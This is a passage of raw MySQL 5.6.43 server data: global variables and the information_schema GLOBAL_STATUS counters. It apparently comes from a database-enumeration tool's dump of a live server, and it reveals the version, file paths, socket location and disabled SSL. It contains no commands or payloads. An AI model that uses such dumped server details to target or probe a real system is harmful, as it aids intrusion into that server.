INNODB_LRU_SCAN_DEPTH | 1024 | | OPEN_FILES_LIMIT | 65535 | | SQL_NOTES | ON | | SSL_CRLPATH | | | LOG_BIN_INDEX | | | TIMESTAMP | 1625457284.419252 | | CORE_FILE | OFF | | INNODB_BUFFER_POOL_LOAD_ABORT | OFF | | LOG_THROTTLE_QUERIES_NOT_USING_INDEXES | 0 | | CHARACTER_SET_DATABASE | latin1 | | HAVE_COMPRESS | YES | | TIME_FORMAT | %H:%i:%s | | SIMPLIFIED_BINLOG_GTID_RECOVERY | OFF | | SQL_QUOTE_SHOW_CREATE | ON | | THREAD_CACHE_SIZE | 13 | | RELAY_LOG | | | INNODB_DOUBLEWRITE | ON | | READ_ONLY | OFF | | INNODB_STATS_PERSISTENT | ON | | INNODB_FT_CACHE_SIZE | 8000000 | | DEFAULT_WEEK_FORMAT | 0 | | COLLATION_SERVER | latin1_swedish_ci | | INNODB_CHANGE_BUFFER_MAX_SIZE | 25 | | PERFORMANCE_SCHEMA_MAX_TABLE_INSTANCES | -1 | | HAVE_QUERY_CACHE | YES | | INNODB_USE_NATIVE_AIO | ON | | SYNC_RELAY_LOG | 10000 | | GTID_PURGED | | | MAX_DELAYED_THREADS | 20 | | INNODB_UNDO_TABLESPACES | 0 | | LC_TIME_NAMES | en_US | | RAND_SEED2 | 0 | | INNODB_FORCE_LOAD_CORRUPTED | OFF | | INNODB_FT_MAX_TOKEN_SIZE | 84 | | SOCKET | /var/lib/mysql/mysql.sock | | INNODB_FT_MIN_TOKEN_SIZE | 3 | | HAVE_RTREE_KEYS | YES | | INNODB_FT_USER_STOPWORD_TABLE | | | PROFILING | OFF | | SERVER_ID | 0 | | PLUGIN_DIR | /usr/lib64/mysql/plugin/ | | SQL_BUFFER_RESULT | OFF | | KEY_CACHE_BLOCK_SIZE | 1024 | | INNODB_BUFFER_POOL_SIZE | 134217728 | | MAX_TMP_TABLES | 32 | | SYNC_RELAY_LOG_INFO | 10000 | | MASTER_VERIFY_CHECKSUM | OFF | | SSL_CERT | | | DEFAULT_TMP_STORAGE_ENGINE | InnoDB | | INNODB_FT_ENABLE_STOPWORD | ON | | STORED_PROGRAM_CACHE | 256 | | INNODB_STATS_PERSISTENT_SAMPLE_PAGES | 20 | | MYISAM_STATS_METHOD | nulls_unequal | | PERFORMANCE_SCHEMA_SESSION_CONNECT_ATTRS_SIZE | -1 | | CONNECT_TIMEOUT | 10 | | AVOID_TEMPORAL_UPGRADE | OFF | | SLAVE_SQL_VERIFY_CHECKSUM | ON | | INNODB_CHANGE_BUFFERING | all | | INNODB_LOG_FILE_SIZE | 50331648 | | TMP_TABLE_SIZE | 16777216 | | SECURE_AUTH | ON | | INNODB_API_DISABLE_ROWLOCK | OFF | | MAX_WRITE_LOCK_COUNT | 18446744073709551615 | | INTERACTIVE_TIMEOUT | 28800 | | SQL_SELECT_LIMIT | 18446744073709551615 | | ERROR_COUNT | 0 | | SYSTEM_TIME_ZONE | +07 | | SLAVE_LOAD_TMPDIR | /tmp | | FT_MIN_WORD_LEN | 4 | | WAIT_TIMEOUT | 28800 | | INNODB_LARGE_PREFIX | OFF | | FLUSH | OFF | | NET_READ_TIMEOUT | 30 | | INNODB_FLUSH_METHOD | | | INNODB_PURGE_THREADS | 1 | | MYISAM_MMAP_SIZE | 18446744073709551615 | | GTID_MODE | OFF | | INNODB_CHECKSUMS | ON | | STORAGE_ENGINE | MyISAM | | INNODB_LOCKS_UNSAFE_FOR_BINLOG | OFF | | KEY_CACHE_DIVISION_LIMIT | 100 | | HAVE_SSL | DISABLED | | INNODB_BUFFER_POOL_DUMP_AT_SHUTDOWN | OFF | | IGNORE_DB_DIRS | | | SLAVE_CHECKPOINT_GROUP | 512 | | INNODB_BUFFER_POOL_LOAD_AT_STARTUP | OFF | | LOG_BIN_BASENAME | | | VERSION | 5.6.43 | | INNODB_CONCURRENCY_TICKETS | 5000 | | BULK_INSERT_BUFFER_SIZE | 8388608 | | INNODB_MAX_DIRTY_PAGES_PCT_LWM | 0 | | OPTIMIZER_SWITCH | index_merge=on,index_merge_union=on,index_merge_sort_union=on,index_merge_intersection=on,engine_condition_pushdown=on,index_condition_pushdown=on,mrr=on,mrr_cost_based=on,block_nested_loop=on,batched_key_access=off,materialization=on,semijoin=on,loosescan=on,firstmatch=on,subquery_materialization_cost_based=on,use_index_extensions=on | | NEW | OFF | | MAX_JOIN_SIZE | 18446744073709551615 | | FOREIGN_KEY_CHECKS | ON | | PROTOCOL_VERSION | 10 | | INNODB_MONITOR_RESET | | | WARNING_COUNT | 0 | | INNODB_STATS_AUTO_RECALC | ON | | SYNC_MASTER_INFO | 10000 | | INNODB_COMMIT_CONCURRENCY | 0 | | UPDATABLE_VIEWS_WITH_LIMIT | YES | | INNODB_MIRRORED_LOG_GROUPS | 1 | | INNODB_STATS_ON_METADATA | OFF | | INNODB_PURGE_BATCH_SIZE | 300 | | INNODB_DATA_FILE_PATH | ibdata1:12M:autoextend | | THREAD_STACK | 262144 | | PERFORMANCE_SCHEMA_MAX_DIGEST_LENGTH | 1024 | | INNODB_SUPPORT_XA | ON | | INNODB_FT_SORT_PLL_DEGREE | 2 | | MYISAM_SORT_BUFFER_SIZE | 8388608 | | BASEDIR | /usr/ | | INNODB_COMPRESSION_LEVEL | 6 | | IDENTITY | 0 | | INNODB_ADAPTIVE_FLUSHING | ON | | SKIP_EXTERNAL_LOCKING | ON | | INNODB_FILE_PER_TABLE | ON | | CHARACTER_SET_SYSTEM | utf8 | | INNODB_LOG_FILES_IN_GROUP | 2 | | MYISAM_REPAIR_THREADS | 1 | | DIV_PRECISION_INCREMENT | 4 | | SQL_WARNINGS | OFF | | DATADIR | /var/lib/mysql/ | | LOG_OUTPUT | FILE | | INNODB_DATA_HOME_DIR | | | INNODB_MAX_DIRTY_PAGES_PCT | 75 | | INNODB_READ_IO_THREADS | 4 | | INNODB_WRITE_IO_THREADS | 4 | | INNODB_CHECKSUM_ALGORITHM | innodb | | INNODB_BUFFER_POOL_INSTANCES | 8 | | INNODB_OPEN_FILES | 2000 | | INNODB_UNDO_DIRECTORY | . | | THREAD_CONCURRENCY | 10 | | GTID_NEXT | AUTOMATIC | | CHARACTER_SET_CLIENT | utf8 | | INNODB_FT_RESULT_CACHE_LIMIT | 2000000000 | | TIME_ZONE | SYSTEM | | OPTIMIZER_TRACE_MAX_MEM_SIZE | 16384 | | VERSION_COMPILE_MACHINE | x86_64 | | INNODB_OLD_BLOCKS_PCT | 37 | | MAX_ALLOWED_PACKET | 268435456 | | INNODB_FT_TOTAL_CACHE_SIZE | 640000000 | | RELAY_LOG_RECOVERY | OFF | | INNODB_API_ENABLE_MDL | OFF | | INNODB_VERSION | 5.6.43 | | INNODB_FILE_FORMAT_CHECK | ON | +--------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ Database: information_schema Table: GLOBAL_STATUS [341 entries] +-----------------------------------------------+----------------+ | VARIABLE_NAME | VARIABLE_VALUE | +-----------------------------------------------+----------------+ | COM_SAVEPOINT | 24095 | | COM_SELECT | 2209529219 | | COM_SET_OPTION | 100403652 | | COM_SIGNAL | 0 | | COM_SHOW_BINLOG_EVENTS | 0 | | COM_SHOW_BINLOGS | 297 | | COM_SHOW_CHARSETS | 2871 | | COM_SHOW_COLLATIONS | 38 | | COM_SHOW_CREATE_DB | 23721 | | COM_SHOW_CREATE_EVENT | 0 | | COM_SHOW_CREATE_FUNC | 180 | | COM_SHOW_CREATE_PROC | 135 | | COM_SHOW_CREATE_TABLE | 1130054 | | COM_SHOW_CREATE_TRIGGER | 450 | | COM_SHOW_DATABASES | 262 | | COM_SHOW_ENGINE_LOGS | 0 | | COM_SHOW_ENGINE_MUTEX | 0 | | COM_SHOW_ENGINE_STATUS | 0 | | COM_SHOW_EVENTS | 23683 | | COM_SHOW_ERRORS | 0 | | COM_SHOW_FIELDS | 207566168 | | COM_SHOW_FUNCTION_CODE | 0 | | COM_SHOW_FUNCTION_STATUS | 23862 | | COM_SHOW_GRANTS | 147695 | | COM_SHOW_KEYS | 24645 | | COM_SHOW_MASTER_STATUS | 644 | | COM_SHOW_OPEN_TABLES | 0 | | COM_SHOW_PLUGINS | 446 | | COM_SHOW_PRIVILEGES | 0 | | COM_SHOW_PROCEDURE_CODE | 0 | | COM_SHOW_PROCEDURE_STATUS | 23862 | | COM_SHOW_PROCESSLIST | 774419 | | COM_SHOW_PROFILE | 0 | | COM_SHOW_PROFILES | 0 | | COM_SHOW_RELAYLOG_EVENTS | 0 | | COM_SHOW_SLAVE_HOSTS | 0 | | COM_SHOW_SLAVE_STATUS | 644 | | COM_SHOW_STATUS | 1497123 | | COM_SHOW_STORAGE_ENGINES | 133 | | COM_SHOW_TABLE_STATUS | 2127101 | | COM_SHOW_TABLES | 16088071 | | COM_SHOW_TRIGGERS | 1032245 | | COM_SHOW_VARIABLES | 263994 | | COM_SHOW_WARNINGS | 3261 | | COM_SLAVE_START | 0 | | COM_SLAVE_STOP | 0 | | COM_STMT_CLOSE | 41586514 | | COM_STMT_EXECUTE | 42304385 | | COM_STMT_FETCH | 0 | | COM_STMT_PREPARE | 42304916 | | COM_STMT_REPREPARE | 0 | | COM_STMT_RESET | 5961930 | | COM_STMT_SEND_LONG_DATA | 143361 | | COM_TRUNCATE | 8822 | | COM_UNINSTALL_PLUGIN | 0 | | COM_UNLOCK_TABLES | 133288 | | COM_UPDATE | 79065343 | | COM_UPDATE_MULTI | 2971 | | COM_XA_COMMIT | 0 | | COM_XA_END | 0 | | COM_XA_PREPARE | 0 | | COM_XA_RECOVER | 0 | | COM_XA_ROLLBACK | 0 | | COM_XA_START | 0 | | COMPRESSION | OFF | | CONNECTION_ERRORS_ACCEPT | 0 | | CONNECTION_ERRORS_INTERNAL | 0 | | CONNECTION_ERRORS_MAX_CONNECTIONS | 0 | | CONNECTION_ERRORS_PEER_ADDRESS | 274 | | CONNECTION_ERRORS_SELECT | 0 | | CONNECTION_ERRORS_TCPWRAP | 0 | | CONNECTIONS | 50568490 | | CREATED_TMP_DISK_TABLES | 343633043 | | CREATED_TMP_FILES | 8367033 | | CREATED_TMP_TABLES | 433747990 | | DELAYED_ERRORS | 0 | | DELAYED_INSERT_THREADS | 0 | | DELAYED_WRITES | 0 | | FLUSH_COMMANDS | 1 | | HANDLER_COMMIT | 572291011 | | HANDLER_DELETE | 52024716 | | HANDLER_DISCOVER | 0 | | HANDLER_EXTERNAL_LOCK | 6664515601 | | HANDLER_MRR_INIT | 0 | | HANDLER_PREPARE | 0 | | HANDLER_READ_FIRST | 267458221 | | HANDLER_READ_KEY | 42005174722 | | HANDLER_READ_LAST | 135332749 | | HANDLER_READ_NEXT | 284122576044 | | HANDLER_READ_PREV | 1431001146710 | | HANDLER_READ_RND | 36422004418 | | HANDLER_READ_RND_NEXT | 2062087438618 | | HANDLER_ROLLBACK | 804182 | | HANDLER_SAVEPOINT | 24094 | | HANDLER_SAVEPOINT_ROLLBACK | 1042957 | | HANDLER_UPDATE | 5387417164 | | HANDLER_WRITE | 194730067992 | | INNODB_BUFFER_POOL_DUMP_STATUS | not started | | INNODB_BUFFER_POOL_LOAD_STATUS | not started | | INNODB_BUFFER_POOL_PAGES_DATA | 7008 | | INNODB_BUFFER_POOL_BYTES_DATA | 114851840 | | INNODB_BUFFER_POOL_PAGES_DIRTY | 232 | | INNODB_BUFFER_POOL_BYTES_DIRTY | 3833856 | | INNODB_BUFFER_POOL_PAGES_FLUSHED | 35164396 | | INNODB_BUFFER_POOL_PAGES_FREE | 1024 | | INNODB_BUFFER_POOL_PAGES_MISC | 159 | | INNODB_BUFFER_POOL_PAGES_TOTAL | 8191 | | INNODB_BUFFER_POOL_READ_AHEAD_RND | 0 | | INNODB_BUFFER_POOL_READ_AHEAD | 36586882 | | INNODB_BUFFER_POOL_READ_AHEAD_EVICTED | 191062 | | INNODB_BUFFER_POOL_READ_REQUESTS | 145033192752 | | INNODB_BUFFER_POOL_READS | 180395964 | | INNODB_BUFFER_POOL_WAIT_FREE | 2051 | | INNODB_BUFFER_POOL_WRITE_REQUESTS | 254159566 | | INNODB_DATA_FSYNCS | 25467029 | | INNODB_DATA_PENDING_FSYNCS | 0 | | INNODB_DATA_PENDING_READS | 0 | | INNODB_DATA_PENDING_WRITES | 0 | | INNODB_DATA_READ | 3566292701184 | | INNODB_DATA_READS | 217686165 | | INNODB_DATA_WRITES | 56779138 | | INNODB_DATA_WRITTEN | 1205399029760 | | INNODB_DBLWR_PAGES_WRITTEN | 35166447 | | INNODB_DBLWR_WRITES | 643404 | | INNODB_HAVE_ATOMIC_BUILTINS | ON | | INNODB_LOG_WAITS | 1 | | INNODB_LOG_WRITE_REQUESTS | 93145741 | | INNODB_LOG_WRITES | 20221875 | | INNODB_OS_LOG_FSYNCS | 20625723 | | INNODB_OS_LOG_PENDING_FSYNCS | 1 | | INNODB_OS_LOG_PENDING_WRITES | 0 | | INNODB_OS_LOG_WRITTEN | 52862080000 | | INNODB_PAGE_SIZE | 16384 | | INNODB_PAGES_CREATED | 1682533 | | INNODB_PAGES_READ | 217670458 | | INNODB_PAGES_WRITTEN | 35166447 | | INNODB_ROW_LOCK_CURRENT_WAITS | 0 | | INNODB_ROW_LOCK_TIME | 846074 | | INNODB_ROW_LOCK_TIME_AVG | 269 | | INNODB_ROW_LOCK_TIME_MAX | 51513 | | INNODB_ROW_LOCK_WAITS | 3141 | | INNODB_ROWS_DELETED | 1738039 | | INNODB_ROWS_INSERTED | 23183051 | | INNODB_ROWS_READ | 130764406568 | | INNODB_ROWS_UPDATED | 13922779 | | INNODB_NUM_OPEN_FILES | 2000 | | INNODB_TRUNCATED_STATUS_WRITES | 0 | | INNODB_AVAILABLE_UNDO_LOGS | 128 | | KEY_BLOCKS_NOT_FLUSHED | 0 | | KEY_BLOCKS_UNUSED | 0 | | KEY_BLOCKS_USED | 6698 | | KEY_READ_REQUESTS | 163047498388 | | KEY_READS | 5822603708 | | KEY_WRITE_REQUESTS | 1243432263 | | KEY_WRITES | 439252835 | | LAST_QUERY_COST | 0.000000 | | LAST_QUERY_PARTIAL_PLANS | 0 | | MAX_USED_CONNECTIONS | 120 | | NOT_FLUSHED_DELAYED_ROWS | 0 | | OPEN_FILES | 2523 | | OPEN_STREAMS | 0 | | OPEN_TABLE_DEFINITIONS | 1660 | | OPEN_TABLES | 2000 | | OPENED_FILES | 1440031096 | | OPENED_TABLE_DEFINITIONS | 23152513 | | OPENED_TABLES | 25329133 | | PERFORMANCE_SCHEMA_ACCOUNTS_LOST | 0 | | PERFORMANCE_SCHEMA_COND_CLASSES_LOST | 0 | | PERFORMANCE_SCHEMA_COND_INSTANCES_LOST | 0 | | PERFORMANCE_SCHEMA_DIGEST_LOST | 0 | | PERFORMANCE_SCHEMA_FILE_CLASSES_LOST | 0 | | PERFORMANCE_SCHEMA_FILE_HANDLES_LOST | 0 | | PERFORMANCE_SCHEMA_FILE_INSTANCES_LOST | 0 | | PERFORMANCE_SCHEMA_HOSTS_LOST | 0 | | PERFORMANCE_SCHEMA_LOCKER_LOST | 0 | | PERFORMANCE_SCHEMA_MUTEX_CLASSES_LOST | 0 | | PERFORMANCE_SCHEMA_MUTEX_INSTANCES_LOST | 0 | | PERFORMANCE_SCHEMA_RWLOCK_CLASSES_LOST | 0 | | PERFORMANCE_SCHEMA_RWLOCK_INSTANCES_LOST | 0 | | PERFORMANCE_SCHEMA_SESSION_CONNECT_ATTRS_LOST | 0 | | PERFORMANCE_SCHEMA_SOCKET_CLASSES_LOST | 0 | | PERFORMANCE_SCHEMA_SOCKET_INSTANCES_LOST | 0 | | PERFORMANCE_SCHEMA_STAGE_CLASSES_LOST | 0 | | PERFORMANCE_SCHEMA_STATEMENT_CLASSES_LOST | 0 | | PERFORMANCE_SCHEMA_TABLE_HANDLES_LOST | 0 | | PERFORMANCE_SCHEMA_TABLE_INSTANCES_LOST | 0 | | PERFORMANCE_SCHEMA_THREAD_CLASSES_LOST | 0 | | PERFORMANCE_SCHEMA_THREAD_INSTANCES_LOST | 0 | | PERFORMANCE_SCHEMA_USERS_LOST | 0 | | PREPARED_STMT_COUNT | 0 | | QCACHE_FREE_BLOCKS | 1 | | QCACHE_FREE_MEMORY | 1031352 | | QCACHE_HITS | 0 | | QCACHE_INSERTS | 0 | | QCACHE_LOWMEM_PRUNES | 0 | | QCACHE_NOT_CACHED | 2207367012 | | QCACHE_QUERIES_IN_CACHE | 0 | | QCACHE_TOTAL_BLOCKS | 1 | | QUERIES | 6817912705 | | QUESTIONS | 2839226980 | | SELECT_FULL_JOIN | 6578698 | | SELECT_FULL_RANGE_JOIN | 36005776 | | SELECT_RANGE | 172815624 | | SELECT_RANGE_CHECK | 32245 | | SELECT_SCAN | 693164014 | | SLAVE_HEARTBEAT_PERIOD | | | SLAVE_LAST_HEARTBEAT | | | SLAVE_OPEN_TEMP_TABLES | 0 | | SLAVE_RECEIVED_HEARTBEATS | | | SLAVE_RETRIED_TRANSACTIONS | | | SLAVE_RUNNING | OFF | | SLOW_LAUNCH_THREADS | 0 | | SLOW_QUERIES | 6112 | | SORT_MERGE_PASSES | 8320486 | | SORT_RANGE | 521469620 | | SORT_ROWS | 37722716049 | | SORT_SCAN | 269027865 | | SSL_ACCEPT_RENEGOTIATES | 0 | | SSL_ACCEPTS | 0 | | SSL_CALLBACK_CACHE_HITS | 0 | | SSL_CIPHER | | | SSL_CIPHER_LIST | | | SSL_CLIENT_CONNECTS | 0 | | SSL_CONNECT_RENEGOTIATES | 0 | | SSL_CTX_VERIFY_DEPTH | 0 | | SSL_CTX_VERIFY_MODE | 0 | | SSL_DEFAULT_TIMEOUT | 0 | | SSL_FINISHED_ACCEPTS | 0 | | SSL_FINISHED_CONNECTS | 0 | | SSL_SERVER_NOT_AFTER | | | SSL_SERVER_NOT_BEFORE | | | SSL_SESSION_CACHE_HITS | 0 | | SSL_SESSION_CACHE_MISSES | 0 | | SSL_SESSION_CACHE_MODE | NONE | | SSL_SESSION_CACHE_OVERFLOWS | 0 | | SSL_SESSION_CACHE_SIZE | 0 | | SSL_SESSION_CACHE_TIMEOUTS | 0 | | SSL_SESSIONS_REUSED | 0 | | SSL_USED_SESSION_CACHE_ENTRIES | 0 | | SSL_VERIFY_DEPTH | 0 | | SSL_VERIFY_MODE | 0 | | SSL_VERSION | | | TABLE_LOCKS_IMMEDIATE | 3272787516 | | TABLE_LOCKS_WAITED | 621326 | | TABLE_OPEN_CACHE_HITS | 3510192730 | | TABLE_OPEN_CACHE_MISSES | 25320676 | | TABLE_OPEN_CACHE_OVERFLOWS | 25290380 | | TC_LOG_MAX_PAGES_USED | 0 | | TC_LOG_PAGE_SIZE | 0 | | TC_LOG_PAGE_WAITS | 0 | | THREADS_CACHED | 7 | | THREADS_CONNECTED | 44 | | THREADS_CREATED | 1173038 | | THREADS_RUNNING | 4 | | UPTIME | 3845448 | | UPTIME_SINCE_FLUSH_STATUS | 3845449 | +-----------------------------------------------+----------------+